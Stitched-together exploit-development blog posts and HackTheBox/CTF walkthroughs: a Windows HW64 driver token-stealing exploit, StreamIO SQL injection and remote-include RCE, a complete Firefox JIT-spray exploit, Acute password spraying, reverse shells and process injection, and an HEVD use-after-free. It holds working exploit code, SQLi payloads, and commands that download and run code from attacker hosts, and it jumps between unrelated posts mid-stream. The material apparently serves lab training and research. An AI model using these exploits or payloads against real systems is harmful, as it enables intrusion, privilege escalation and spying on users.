10000015 ea1c0000103300 jmp 0033:1000001C
0:000:x86> p
00000000`1000001c 4889c8 mov rax,rcx
0:000> p
00000000`1000001f 4889c4 mov rsp,rax
0:000>
00000000`10000022 cc int 3
For the final exploit, all that is left to do is generate some shellcode, e.g. msfvenom -p windows/x64/exec cmd="calc" -f python .
In this post, we will develop an exploit for the HW driver. I picked this one because I looked for some real-life target to practice on and saw a post by Avast that mentioned vulnerabilities in an old version of this driver (Version 4.8.2 from 2015), that was used as part of a bigger exploit chain. Unfortunately, I could not find this one available for download so I ended up using the most recent version, 4.9.8 at the time of writing this post. This driver is signed by Microsoft so we can load it even without a kernel debugger attached (the certificate is expired since 2021 but that does not really prevent loading).
I started by trying to find the IOCTLs mentioned in the post but they do not exist anymore. Luckily the drivers provided some other relatively easy exploitable looking IOCTLs so I gave it a shot.
Vulnerability Discovery
Before starting the look at the driver in IDA I gave this excellent intro post by Voidsec another read to see what kind of starting points to look for:
MmMapIoSpace
rdmsr
wrmsr
At the end of the post, he mentions looking for MmMapIoSpace as an exercise which is something that we have in this driver as well. In the end, I ended up using a different function though.
After opening the driver IDA we look at the imports and can see a couple of functions that handle memory mappings:
Besides the already mentioned MmMapIoSpace there are a couple of other interesting functions here that we can potentially use, including MmMapLockedPages. Letβs see what both functions do:
MmMapIoSpace allows mapping a physical memory address to a virtual (kernel-mode) address. This can be useful if you can control the arguments to the function, especially the first 2, through some IOCTL. In this driver, this is indeed the case with one of the IOCTLs but the memory is never mapped to a user-mode address afterward or returned, so I could not do much with it besides crashing the system (by mapping an invalid address). If this address would be mapped to a user-mode address and returned it can be exploited. There is an excellent post here on how to do it. Letβs look at the other function for now:
This function (which is deprecated according to Microsoft) allows mapping a virtual address to another one and takes in a pointer to a Memory Descriptor List (MDL). Usually, a call to this function is preceded by the following calls:
IoAllocateMdl takes a virtual memory address & length (we ignore the other arguments for now) and will result in an MDL that is large enough to map our requested buffer size (but not filled yet). The following MmBuildMdlForNonPagedPool will then update the structure with the information about the underlying physical pages that back the virtual memory we requested. Finally MmMapLockedPages takes this pointer to the MDL & returns another address in user-mode virtual memory where the physical pages described by the MDL have been mapped to.
This essentially means that if the 3 functions are executed in the order described, we create a second virtual address that maps to the same physical address as the initial virtual address.
With this theory out of the way, letβs see if and how we can reach this chain of functions. By following the references in IDA we can see that itβs used a few times throughout the program but only in 2 functions:
The path we are going to follow is sub_2E80 (also worth exploring the other one though). When we look at this function we first see a couple of checks being done on the arguments before it eventually ends up in the sequence of functions we just discussed:
For the checks inside the function, we will have a look in the debugger later since some of them might just not matter much to us (e.g. some might be automatically passed without any work from our side). For now, we focus on discovering how to reach this function in the first place. We look for references again and find quite a few:
All those refs are coming from the same function which is essentially a big switch/if/else construct for the different IOCTLs that this driver supports. Here we just go for the first one and follow the back-edges in IDA until we hit an IOCTL at 0x3F70:
cmp [rsp+0D8h+var_24], 9C406500h
jz loc_52D8
So with a potential IOCTL that can get close to the code path we want, we quickly check the driver start function which calls sub_1E80 and has the string we need in order to use CreateFile to get a handle to the driver.
Now we can write our first template and debug the driver:
Before running the driver, we set a breakpoint on the IOCTL comparison so we can follow the execution flow in the debugger:
0: kd>.reload
0: kd> lm m hw64
Browse full module list
start end module name
fffff806`5c1a0000 fffff806`5c1aa000 hw64 (deferred)
0: kd> ba e1 hw64+0x3F70
0: kd> g
...
Breakpoint 0 hit
hw64+0x3f70:
fffff806`5c1a3f70 81bc24b40000000065409c cmp dword ptr [rsp+0B4h],9C406500h
Now that we hit the breakpoint, we continue to step through the code and inspect the source of every comparison to make sure that we track any dependencies on our input buffer. After a few instructions, we hit a call to our target function at hw64+0x532b:
We can see that this function takes our input buffer as the first argument β more precisely a copy of it since we can see that itβs at a kernel address. We step into the function and look for comparisons again.
Part of our input is compared to zero β if we trace the instructions in IDA we can see that in order to get to our vulnerable code block we need to not take the jump. So this is fine for now. In the next basic block the same comparison is done again and we also pass the check. This is repeated once more and we finally get to the block at hw64+0x2F60 that has the call to IoAllocateMdl.
We can see that we control the VirtualAddress itβs getting an MDL for and the size. The values we provided are obviously useless but they helped us to trace our user input. The function actually doesnβt complain and we can step over it (since it only allocates the memory for the MDL). If we step further we hit MmBuildMdlForNonPagedPool:
This will now result in a BSOD since the size we requested is way too large and the address is bogus.
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffffa9a2a2a32320, memory referenced.
At this point, we know what our input buffer should look like to get an arbitrary memory mapping and we can continue with the exploitation section.
Exploitation
After having discovered the vulnerable IOCTL itβs time to start the exploitation process. Assuming we can map any kernel virtual address into a user-mode address β what could a good target be? A commonly used payload for kernel exploits is token stealing shellcode. We do not really need shellcode for escalating privileges though because we can copy the token of a SYSTEM process to our current process using the mapping mechanism as a read/write primitive (data-only attack). Executing shellcode is also possible but not in scope for this post. The plan of attack is as follows:
Get the address of a SYSTEM process and read the Token pointer
Get the address of our current process and overwrite the Token pointer with the one from the SYSTEM process
We can use NtQuerySystemInformation to get the address of a SYSTEM process in memory without using any exploit. We are then going to use our mapping primitive to map the memory where the process is located to a user-mode address. This allows us to read the fields of the EPROCESS structure including the Token, UniqueProcessId and ActiveProcessLinks, of which we can get offsets via the debugger:
As expected, we got a mapping of the target address. We did not cover the output buffer yet β essentially if we inspect it after triggering the IOCTL with valid arguments we get something like the following back, which has the mapped user-mode address as the 3rd value:
At this point, all that is left to do is read the SYSTEM token and then iterate through the ActiveProcessLinks linked list until we find our own process. When we find it, we overwrite our own Token with the SYSTEM one and are done. The final exploit implementing this can be found below:
Video & additional notes for StreamIO, a medium difficulty Windows machine on HackTheBox that involves manual MSSQL Injection, going from file inclusion to RCE and in this case getting the SeImpersonate privilege back to get SYSTEM via an EFS-based potato.
SQLi
q=admin' union select 1,2,3,4,5--
q=admin' union select 1,2,3,4,5,6--
q=admin' union select 1,@@version,3,4,5,6--
q=admin' union select 1, STRING_AGG(name, ', '),3,4,5,6 from master..sysdatabases--
q=admin' union select 1, STRING_AGG(name, ', '),3,4,5,6 from master..sysobjects WHERE xtype = 'U'--
q=admin' union select 1, STRING_AGG(CONCAT(table_name,'.',column_name), ', '),3,4,5,6 from information_schema.columns--
RCE
# Content of "x", hosted on the attacker machine
system("powershell -exec bypass -enc JAB...");
# Request
curl -H 'Cookie: PHPSESSID=r3apd30esr2a8c1kt0vfnmd6qn' -sk -X POST -d 'include=http://10.10.14.9/x' https://streamio.htb/admin/?debug=master.php
In this post, we will exploit Midenios, a good introductory browser exploitation challenge that was originally used for the HackTheBox Business-CTF. I had some experience exploiting IE/Edge/Chrome before, but exploiting Firefox was mostly new to me. I solved this challenge way after the CTF so I had some existing writeups to fall back on. There were a lot of excellent resources that helped with developing the exploit, here are some of them:
Definitely check out the write-up by 0xten because it follows a different exploitation path after obtaining the read/write primitive. Since itβs been a long time since I did anything with Firefox there might be some inaccuracies β if you find something please let me know I want to learn more :)
Vulnerability
The challenge itself has a website that allows you to submit unsanitized HTML input which is later visited by a bot. We can submit script tags to achieve a βpersistentβ XSS: <script src="http://127.0.0.1/exploit.js"></script>. The bot is using a vulnerable, custom-patched version of Firefox to visit the page and is executing the user-provided JavaScript.
Besides the website, we are provided an archive that contains a βpatch.diffβ which shows the changes made to the code base, and a βmozconfigβ that shows that debug mode is enabled.
mozconfig
ac_add_options --enable-debug
patch.diff (shorted and commented, all changes to js/src/vm/ArrayBufferObject.cpp,js/src/vm/ArrayBufferObject.h):
We can see that a new setter was added that allows to set byteLength on an ArrayBuffer and that a check was removed that was checking whether the length is below maxBufferByteLength. Without reading everything in the patch diff we can already assume that we will have to create an ArrayBuffer object and then set its byteLength to a large value to achieve out-of-bounds memory access when accessing the contents of the ArrayBuffer.
Before trying to verify our assumption we have to create a debug environment to develop the exploit.
Preparing the debug environment
To quickly test our exploit without having to start Firefox itself, we can compile its JavaScript engine, Spidermonkey, locally. We will do that both in debug and in release mode (the reason for both will be clear later):
rustup update
hg clone http://hg.mozilla.org/mozilla-central spidermonkey
cd spidermonkey
spidermonkey patch -p1 < ../pwn_midenios/src/diff.patch
patching file js/src/vm/ArrayBufferObject.cpp
Hunk #1 succeeded at 325 (offset -11 lines).
Hunk #2 succeeded at 366 (offset -11 lines).
Hunk #3 succeeded at 1031 (offset -7 lines).
patching file js/src/vm/ArrayBufferObject.h
Hunk #1 succeeded at 167 (offset 1 line).
Hunk #2 succeeded at 339 (offset 1 line).
cd spidermonkey/js/src
mkdir build_DBG.OBJ
cd build_DBG.OBJ
../configure --enable-debug --disable-optimize
make -j8
cd ..
mkdir build.OBJ
cd build.OBJ
../configure --disable-debug --disable-optimize
make -j8
After compiling both versions we can find the js executable in both build directories in dist/bin/. For debugging I will use gdb with https://hugsy.github.io/gef/. Now that we have our environment setup, we can write a simple PoC that does an out-of-bounds read.
We define an ArrayBuffer βAβ and use the new byteLength setter to put a large value there. We then create another ArrayBuffer βBβ just to have an adjacent object in memory (it will be placed exactly next to the first one). Then we create a TypedArray (https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray) from our ArrayBuffer. This is done so we can access the contents of the underlying binary buffer as an array.
Finally, we try to dump the contents of βAβ which is only defined up to the 10th iteration (we set the size to 80 β so 10 8-byte values). However, due to our manipulated byte length, we can now print beyond that boundary and dump the memory of the adjacent object βBβ.
Poc_0x01.js
// create an ArrayBuffer A and set its length to a large value
aBuf = new ArrayBuffer(80);
aBuf.byteLength = 1000;
aBuf = new BigUint64Array(aBuf)
aBuf[0] = 0x4141414141414141n
// create a second ArrayBuffer B to have an adjacent object
bBuf = new ArrayBuffer(80);
bBuf = new BigUint64Array(bBuf)
bBuf[0] = 0x4242424242424242n
// access A as a TypedArray out of bounds to read some metadata/data of B
for(let i=0;i<20;i++){
console.log(`${i} ${aBuf[i].toString(16)}`)
}
Running the PoC shows that we can indeed access beyond the size of the ArrayBuffer and see memory that does not belong to it:
We can relatively easily find the same values in gdb by grepping for 0x4141414141414141 which we placed as the first value in the βAβ array. To understand what these values are, we have to look at how these objects work internally. I annotated the first object in the debug view above to show what some of these values are representing.
The structure we see here is based on a NativeObject which most JavaScript objects inherit from (in the source it does not look exactly like this but it helps in understanding the layout (https://searchfox.org/mozilla-central/source/js/src/vm/NativeObject.h#547). I tried to illustrate the memory layout below (some of the names I made up):
shape: Points to names of properties and corresponding indices into the slots array.
slots: Points to an array of values for properties. Here: emptyObjectSlotsHeaders.
elementsHeader: Here emptyElementsHeader.
elementsData: Points to the data (our array contents).
byteLength: The byteLength we can set via the vulnerable setter.
typedArrayObj: This is a tagged pointer that is pointing to the BigUint64Array Metadata.
offset: Contains 0xfff8800000000000 which is the value zero, type tagged as an integer.
More detailed information can be found in this post: https://vigneshsrao.github.io/posts/play-with-spidermonkey/. The most important value, for now, is the data pointer (here: 0x0000058dcd46a0c8) which points to the actual data being stored in the ArrayBuffer. Since we set the length of ArrayBuffer βAβ to 1000, we can read or write any of the following 125 (1000/8) values. If we were to overwrite the data pointer of ArrrayBuffer βBβ to a location where we want to read or write, we could then simply index into βBβ to read or write anywhere on the system.
Letβs test this assumption and create some helper functions read64 and write64. These functions both use the out-of-bounds write we achieved via βAβ to set the data pointer of βBβ to a location of our choice. We then either read or set the value by indexing into βBβ as TypedArray.
// create an ArrayBuffer A and set its length to a large value
aBuf = new ArrayBuffer(80);
aBuf.byteLength = 1000;
aBuf = new BigUint64Array(aBuf)
aBuf[0] = 0x4141414141414141n
// create a second ArrayBuffer B to have an adjacent object
bBuf = new ArrayBuffer(80);
bBufTyped = new BigUint64Array(bBuf)
bBufTyped[0] = 0x4242424242424242n
bBufTyped[1] = 0x4343434343434343n
function read64(addr){
// overwrite metadata, pointer to data
aBuf[15] = addr
// access B as a TypedArray to get a 64 bit value back
let typedB = new BigUint64Array(bBuf)
// return first element (exactly where the changed data pointer points to)
return typedB[0]
}
function write64(addr, value){
// overwrite metadata, pointer to data
aBuf[15] = addr
// access B as a TypedArray to get a 64 bit value back
let typedB = new BigUint64Array(bBuf)
// set first element (exactly where the changed data pointer points to)
typedB[0] = value
}
Letβs test the read primitive by reading some values from pointers we see in gdb:
Before we think about what we want to read or write we want to create another helper function that gives us the address of an arbitrary JavaScript object. This is very useful if we want to overwrite pointers in certain JavaScript Objects later on.
function addrof(obj){
// Set a new property on the ArrayBuffer, it will be pointed to by the slots pointer (offset 13)
bBuf.leak = obj
// read the slots pointer back
_slots = aBuf[13]
// dereference the slots pointer and return it (while masking off any pointer tagging)
return read64(_slots) & 0xffffffffffffn
}
This function requires some explanation. When we create a property on a JavaScript object a pointer to those properties exists inside the objectβs metadata (just like our data pointer from before). On the last memory dump we had no properties defined but can still see the slots pointer 2 values before the data pointer:
Now if we define a custom property b.leak and then use our read primitive to dereference the slots pointer, we get the address of our obj which was placed in the slots array. Note that we must mask off the first 2 bytes since these encode type information (pointer tagging).
Exploitation
If we think about exploitation, we want to get shellcode somewhere in memory and execute it. Unfortunately, it is not that easy because via JavaScript writeable locations are not executable and anything we write from JavaScript might just be interpreted and not even appear consecutive in memory. Even if we had our shellcode in memory and it would be executable β we would still need to find a way to jump to it using just JavaScript since we have some primitives but no control over any registers or the instruction pointer.
Letβs solve the shellcode problem first. One way to get your own code into executable memory is to use double constants. I learned about this method in this SentinelOne blog post: https://www.sentinelone.com/labs/firefox-jit-use-after-frees-exploiting-cve-2020-26950/. Doubles have an 8-byte backing buffer and if we define a bunch of them as constants after another we can get our shellcode bytes in consecutive, executable memory. I wrote a simple online converter to convert shellcode to doubles: https://vulndev.io/shellcode-converter/.
Now we define the constants in a function and then call it often enough to trigger the JIT compiler. The JIT compiler essentially compiles certain code from JavaScript to native code if it makes sense (e.g. itβs used a lot) in order to optimize for speed. By calling our function a lot of times we enforce the behavior. Now we can use our addrof primitive to get the address of our JITted function and then use gdb to inspect the memory. Note that we added the double for \x41\x41\x41\x41 as the first constant in order to find the shellcode in memory.
PoC_0x02.js
// create an ArrayBuffer A and set its length to a large value
aBuf = new ArrayBuffer(80);
aBuf.byteLength = 1000;
aBuf = new BigUint64Array(aBuf)
// create a second ArrayBuffer B to have an adjacent object
bBuf = new ArrayBuffer(80);
bBufTyped = new BigUint64Array(bBuf)
function read64(addr){
// overwrite metadata, pointer to data
aBuf[15] = addr
let typedB = new BigUint64Array(bBuf)
return typedB[0]
}
function write64(addr, value){
// overwrite metadata, pointer to data
aBuf[15] = addr
// access B as a TypedArray to get a 64 bit value back
let typedB = new BigUint64Array(bBuf)
// set first element (exactly where the changed data pointer points to)
typedB[0] = value
}
function addrof(obj){
// Set a new property on the ArrayBuffer, its pointer will be pointed to by the slots pointer (offset 13)
bBuf.leak = obj
// read the slots pointer back
_slots = aBuf[13]
// dereference the slots pointer and return it (while masking off any pointer tagging)
return read64(_slots) & 0xffffffffffffn
}
function shellcode (){
EGG = 5.40900888e-315; // 0x41414141 in memory, marker to find
C01 = -6.828527034422786e-229; // 0x9090909090909090
C02 = 6.867659397734779e+246
C03 = 7.806615353364766e+184
C04 = 2.541954188459429e-198
C05 = 3.2060568060029287e-80
C06 = 3.4574612453438036e+198
C07 = 7.57500810708945e-119
C08 = 1.0802257739008538e+117
C09 = -6.828527034370483e-229
}
// JIT Spray - will make sure the constants are compiled to native code and create our shellcode
for (let i = 0; i < 100000; i++) {
shellcode();
}
console.log(addrof(shellcode).toString(16));
This gives us the address of the JSFunction object of the function. When we look at offset 0x28 we can see an interesting pointer to a heap region. This is the jitInfo pointer (JSFunction.u.native.extra.jitInfo) and points to the JIT code of the function at 0x002762b3c15cb0. This is likely more than just our shellcode though since we just defined constants and its just treated as data at this point. We can disassemble at that address as code and notice that this looks like βrealβ instructions and not some random data:
x/100i 0x002762b3c15cb0
0x2762b3c15cb0: push rbp
0x2762b3c15cb1: mov rbp,rsp
0x2762b3c15cb4: test spl,0xf
0x2762b3c15cb8: je 0x2762b3c15cbf
0x2762b3c15cbe: int3
...
So letβs search for our marker and compare the pointers:
We calculate: 0x2762b3c16d90 - 0x002762b3c15cb0 = 0x10E0. This means the JIT area of this function is actually pretty big but if search forward through it we would eventually find our marker. Letβs see if the constants ended up in memory as our shellcode:
And as we can see, we found not only our marker but also the shellcode we intended in the correct order on a read/execute page.
After having solved the βshellcode problemβ we still need a way to dynamically locate it (since itβs somewhere at a changing offset from where the jitInfo pointer points) and transfer execution to it. Finding the location is not that difficult as we can use our read primitive to scan the memory until we find the marker:
...
shellcode_addr = addrof(shellcode);
console.log("[>] Function @ " + shellcode_addr.toString(16));
// Get the jetInfo pointer in the JSFunction object (JSFunction.u.native.extra.jitInfo_)
jitinfo = read64(shellcode_addr + 0x28n);
console.log("[>] Jitinfo @ " + jitinfo.toString(16));
// Dereference pointer to get RX Region
rx_region = read64(jitinfo & 0xffffffffffffn);
console.log("[>] Jit RX @ " + rx_region.toString(16));
// Iterate to find magic value (since the shellcode is not at the start of the rx_region)
it = rx_region; // Start from the RX region
found = false
for(i = 0; i < 0x800; i++) {
data = read64(it);
if(data == 0x41414141n) {
it = it + 8n; // 8 byte offset to account for magic value
found = true;
break;
}
it = it + 8n;
}
if(!found) {
console.log("[-] Failed to find Jitted shellcode in memory");
}
There is one problem here β if you run it in the debug version it fails:
Assertion failure: !cx->nursery().isInside(ptr)
When running release it does however work. Debug adds some assertions to make sure nothing funky is going on β so most of the time itβs a good idea to start with the debug version but switch to release at some point. In this case, the challenge itself is however also running in debug mode so we will have to fix our exploit to work around that! What I noticed other people are doing to get around this is essentially looping until the shellcode pointer changes (often with some additional logic that didnβt appear to be required) β I have no idea why this is required but it works (please let me know!). So what we can add is a simple loop that waits for that change to occur:
shellcode_addr = addrof(shellcode);
while(shellcode_addr == addrof(shellcode)){
// just block until we get the updated addr
}
shellcode_addr = addrof(shellcode);
With that last problem out of the way, transferring execution to our shellcode is actually quite easy because we can just write to the jitInfo pointer with the location of our shellcode:
With this, we modified the native code that is executed whenever we call the shellcode function. Remember that before we did define some constants but it was never intended to be code β just (constant) data. By setting the jitInfo pointer forward to these constants we make it code! With this last part being done, we now have a full PoC and can run it to execute commands:
Full exploit
// create an ArrayBuffer A and set its length to a large value
aBuf = new ArrayBuffer(80);
aBuf.byteLength = 1000;
aBuf = new BigUint64Array(aBuf)
// create a second ArrayBuffer B to have an adjacent object
bBuf = new ArrayBuffer(80);
bBufTyped = new BigUint64Array(bBuf)
function read64(addr){
// overwrite metadata, pointer to data
aBuf[15] = addr
let typedB = new BigUint64Array(bBuf)
return typedB[0]
}
function write64(addr, value){
// overwrite metadata, pointer to data
aBuf[15] = addr
// access B as a TypedArray to get a 64 bit value back
let typedB = new BigUint64Array(bBuf)
// set first element (exactly where the changed data pointer points to)
typedB[0] = value
}
function addrof(obj){
// Set a new property on the ArrayBuffer, its pointer will be pointed to by the slots pointer (offset 13)
bBuf.leak = obj
// read the slots pointer back
_slots = aBuf[13]
// dereference the slots pointer and return it (while masking off any pointer tagging)
return read64(_slots) & 0xffffffffffffn
}
function shellcode (){
EGG = 5.40900888e-315; // 0x41414141 in memory, marker to find
C01 = -6.828527034422786e-229; // 0x9090909090909090
C02 = 6.867659397734779e+246
C03 = 7.806615353364766e+184
C04 = 2.541954188459429e-198
C05 = 3.2060568060029287e-80
C06 = 3.4574612453438036e+198
C07 = 7.57500810708945e-119
C08 = 1.0802257739008538e+117
C09 = -6.828527034370483e-229
}
// JIT Spray - will make sure the constants are compiled to native code and create our shellcode
for (let i = 0; i < 100000; i++) {
shellcode();
}
// workaround to make the exploit work in release and debug version
shellcode_addr = addrof(shellcode);
while(shellcode_addr == addrof(shellcode)){
// just block until we get the updated addr
}
shellcode_addr = addrof(shellcode);
console.log("[>] Function @ " + shellcode_addr.toString(16));
// Get the jetInfo pointer in the JSFunction object (JSFunction.u.native.extra.jitInfo_)
jitinfo = read64(shellcode_addr + 0x28n);
console.log("[>] Jitinfo @ " + jitinfo.toString(16));
// Dereference pointer to get RX Region
rx_region = read64(jitinfo & 0xffffffffffffn);
console.log("[>] Jit RX @ " + rx_region.toString(16));
// Iterate to find magic value (since the shellcode is not at the start of the rx_region)
it = rx_region; // Start from the RX region
found = false
for(i = 0; i < 0x800; i++) {
data = read64(it);
if(data == 0x41414141n) {
it = it + 8n; // 8 byte offset to account for magic value
found = true;
break;
}
it = it + 8n;
}
if(!found) {
console.log("[-] Failed to find Jitted shellcode in memory");
}
shellcode_location = it;
console.log("[>] Shellcode @ " + shellcode_location.toString(16));
// Overwrite jitInfo pointer and execute modified function
write64(jitinfo, shellcode_location);
shellcode();
Acute is a 40-point Active Directory Windows machine on HackTheBox. Iβm going to use it to show some techniques which can be useful in other scenarios and keep it short on the things that are not that important.
User
Foothold
We visit https://atsserver.acute.local and find a company page. On the about page there is a list of usernames: Aileen Wallace, Charlotte Hall, Evan Davies, Ieuan Monks, Joshua Morgan, and Lois Hopkins. There is also a .docx file linked on the page which we download & read. This has a link to https://atsserver.acute.local/Acute_Staff_Access and mentions a default password βPassword1!β. On /Acute_Staff_Access we have a powershell remoting web console. At this point we have to come up with a username scheme the company might use and spray the password against all of the potential usernames.
This will eventually lead to a valid login: Username: βacute\edaviesβ, Password: βPassword1!β, Computername: βAcute-PC01β. Now we have a WinRM shell on the Acute-PC01 and can continue to explore it. Because I donβt like this web shell we are upgrading it to a remote interactive shell:
PS C:\Users\edavies\Documents> iex(iwr http://10.10.14.7/run.txt -usebasicparsing)
...
listening on [any] 443 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.145] 49835
[>] whoami
acute\edavies
By looking at the running processes, we can see a lot of session 1 processes, including Edge, which means that besides us, the user edavies is also logged on locally on the system. We can also confirm this via qwinsta:
As we are connected via PSRemoting/WinRM we are running in session 0 and as such we can not interact with the logged in users desktop (Sessions in Windows). This comes with many restrictions and we can not really get an idea what the user is doing on his desktop. We run a reverse shell via rcat and confirm that our shell is in session 0:
[>] iwr http://10.10.14.7/drop/rcat.exe -outfile
[>] C:\windows\temp\rcat_10.10.14.7_1337.exe
...
nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.145] 49880
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\temp> ps | findstr rcat
257 6 844 3544 0.00 5376 0 rcat_10.10.14.7_1337
One way to get out of session 0 is to inject into a process with a higher session id. This is only possible if we have either SeDebugPrivilege or the other process belongs to the same user (which is the case here). In the past you could inject shellcode and run it, but at this point all windows binaries are compiled with Control Flow Guard (CFG) so doing an indirect jump to shellcode is not allowed. To get around that, we will have to use a function that is already loaded and whitelisted. A common way to achive that, is to inject a DLL with LoadLibrary because this one is usually loaded & therefore will not cause any issues with CFG. It also has exactly one argument which is all we have when we want to use CreateRemoteThread to run code in a remote process.
In this case I decided to come up with a custom way that does not involve loading a DLL. If we look at the imports of explorer.exe we can see that it imports ShellExecuteExW from user32.dll:
This function is pretty much ideal: It has exactly one argument (just like LoadLibrary) and allows to run any binary on disk. So in the end I ended up finding where the address of ShellExecuteExW is loaded at in explorer.exe, allocated the required argument structure inside explorer.exe and used WriteProcessMemory to copy it into the explorer.exe process. Finally a call to CreateRemoteThread pointing to ShellExecuteW and the argument structure allows us to execute an arbitrary executeable. This is implemented in adopt.
So with this out of the way, we can continue to spawn a Session 1 process, using explorer.exe as a trampoline. We confirm that the new shell is indeed in session 1:
[>] iwr http://10.10.14.7/drop/adopt.exe -outfile C:\windows\temp\adopt.exe
[>] \windows\temp\adopt.exe explorer.exe c:\\windows\\temp\\rcat_10.10.14.7_1337.exe
...
nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.145] 49820
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
Windows PowerShell
PS C:\temp> ps | findstr rcat
ps | findstr rcat
73 6 856 3552 0.03 5856 1 rcat_10.10.14.7_1337
Spying on the user
Now we can interact with the users desktop, including start new desktop allocations or taking screenshots. I will take a couple of screenshots to get an idea on what the user is doing. This also lead me down a rabbit hole and I ended up coming with scr. This command line tool just takes a screenshot as βscr.jpgβ . In order to get a few of those I run a simple loop, rename them & finally zip them up:
Now copying out the files could be done with something like metasploit or xc but I got this far without them so lets try something else π We are going to use WebDAV to copy those to our attacker machine. There is a cool repo by qtc that allows to start nginx with webdav support in a docker container among other things, which Iβm going to use here:
We look at our screenshot collection and can see that the user is using PowerShell trying to connect to a remote system. We copy the commands from the screenshot (by hand) and can connect to the remote system:
Note that the last command specifies ConfigurationName which means that JEA is used here and we are limited in what we can run. A common bypass for JEA is to define a custom function and run it, which are doing:
The rest of the machine is not that interesting anymore, the local administrator password on Acute-PC01 is reused on another user awallace. Then we get a shell on the DC with that user & place a .bat file in the C:\Program files\keepmeon folder which is periodically executed as lhopkins which has Generic Write to to the Site_Admin group which in turn has DA access. At this point you can add any of your already compromised users to that group (e.g. net group "Site_Admin" awallace /add & are done.
This part will look at a Use-After-Free vulnerability in HEVD on Windows 11 x64.
Vulnerability Discovery
We are going to tackle this based on the source instead of the assembly again. There are 4 functions that are interesting for the UAF vulnerability:
AllocateUaFObjectNonPagedPool
FreeUaFObjectNonPagedPool
AllocateFakeObjectNonPagedPool
UseUaFObjectNonPagedPool
The general idea is that we allocate an object on the kernel heap (on the non-paged pool, which is an area of memory that can not be paged out) using AllocateUaFObjectNonPagedPool. Then we call FreeUaFObjectNonPagedPool which will free the object. If done correctly, there should be no references to the object left in the kernel β this is however not the case here. On allocate, a global variable g_UseAfterFreeObjectNonPagedPool is set to the address of the object:
This in itself would not be a huge issue but this global variable is actually being used by UseUaFObjectNonPagedPool which is running a method called Callback on it:
When the global object has been freed and this function is invoked, we would have undefined behavior. One possibility is that another object of the same size could take its place, and then the driver would attempt to call the Callback function on the new object instead (which for a random object will likely fail since its memory layout will be completely different). HEVD has a AllocateFakeObjectNonPagedPool function that conveniently allows us to create a user-controlled object of the same size. There is however the issue of getting it exactly into the spot of the just before freed object β windows randomizes heap allocations so a new allocation could be created anywhere.
Exploitation
Before starting with any exploitation we have to understand where our object is, how big it is and what a replacement object should look like. We also need to find a way to fill the hole with our object which is not straightforward.
We start with some template code that just allocates the object, triggers a breakpoint, and then frees the object again should we let execution continue:
We saw in the allocate function earlier that it allocates the object in the non-paged pool using ExAllocatePoolWithTag. The tag it uses (here βHackβ) is a way to identify objects in that pool. We can search for all objects tagged this way in the debugger:
0: kd> !poolused 2 Hack
...
NonPaged Paged
Tag Allocs Used Allocs Used
Hack 1 112 0 0 UNKNOWN pooltag 'Hack', please update pooltag.txt
TOTAL 1 112 0 0
This shows that currently there is exactly one allocation with that tag (the one we just created ourselves). Lets now find the address of that object:
0: kd> !poolfind Hack -nonpaged
ffffe60269102050 : tag Hack, size 0x60, Nonpaged pool
This works but can take a lot of time. There is an alternative way to let us check the allocations while they happen with ed nt!PoolHitTag 'Hack'. But for now, we are going to stick with the address we just got with poolfind. It shows us that the size of the object is 0x60 (+0x10 bytes header), which means that we later need to find some native windows kernel object that has the same size.
We can see that this object is mostly filled with βAβs. Only the first value is a function pointer and this is exactly the callback we identified in the introduction section. If we compare that with the object we can see in the source it matches our assumption:
You might have noticed that the size does not exactly lead to 0x60 when looking at this object (0x54 + 8 = 0x5C). The remaining 4 bytes I assume are padding (we can see they are zero). Now that we know the size we are looking for another kernel object that is suitable for us.
There is some excellent research by Alex Ionescu on Kernel Fengshui which dives into this topic and shows that using CreatePipe and WritePipe allows allocating an almost arbitrary size object (> 0x48) in the non-paged pool. Letβs create such an object and try to find it in memory so we can confirm it has indeed the correct size.
We can see here that the object is in the nonpaged pool but its size is 0x190 which is not quite what we are looking for so what is going on? We are not really looking for the file object itself but for the DATA_ENTRY object that is created, which is an undocumented structure. These objects will be allocated with a tag: βNpFrβ. Letβs try to find it:
1: kd> !poolused 2 NpFr
Using a machine size of 1ffe4d pages to configure the kd cache
..
Sorting by NonPaged Pool Consumed
NonPaged Paged
Tag Allocs Used Allocs Used
NpFr 1 112 0 0 DATA_ENTRY records (read/write buffers) , Binary: npfs.sys
TOTAL 1 112 0 0
1: kd> !poolfind NpFr -nonpaged
...
There is again exactly one, which we just allocated. Finding the exact object in memory turned out to be a bit difficult since poolfind did not succeed to find it on my end. The general structure of this DATA_ENTRY object looks like this, followed by the actual data:
These DATA_ENTRY objects will be placed on the nonpaged pool and we can control their size which solves part of what we are trying to achieve. The next problem we have is that when we trigger the free in the driver and create a βholeβ in memory, we can not control what is going to fill that hole β after all the kernel is very busy and could place some other object that fits there. Even if we were faster than the kernel to allocate an object of the correct size, we would still not be guaranteed to fill the spot that we freed since heap allocations on modern windows are randomized.
A way to get around that is to spray the heap with a lot of these holes, surrounded by allocations we control. This gives us a good chance to get our UAF object into one of those. After allocating and freeing the object via the vulnerable driver we allocate a huge amount of fake objects (fake objects being the ones we can create via AllocateFakeObjectNonPagedPool) to have a good chance to fill the exact hole the UAF object left.
To summarize:
Allocate a lot of DATA_ENTRY objects (CreatePipe + WriteFile)
Free every 2nd DATA_ENTRY object to create a lot of holes
Allocate the UAF object and Free it (this will likely happen in one of the holes we just created)
Allocate a lot of fake objects to fill every hole (including the one we have to hit to successfully exploit it)
At this point exploiting the vulnerability is exactly the same process as in the last post about the type-confusion vulnerability. We pivot the stack to a location we control and make sure itβs paged in. Then we use ROP to disable SMEP & jump to our shellcode. For details about how to do this please refer to the last post β we use exactly the same gadgets & shellcode. The updated PoC looks as follows:
On the kernel object, we see a union of an object type and a callback, which means that there is only space for one of them, or in other words, using either of those members when accessing the struct will point to the same value. On the user object, on the other hand, we do not have this union and only have ObjectID and ObjectType.
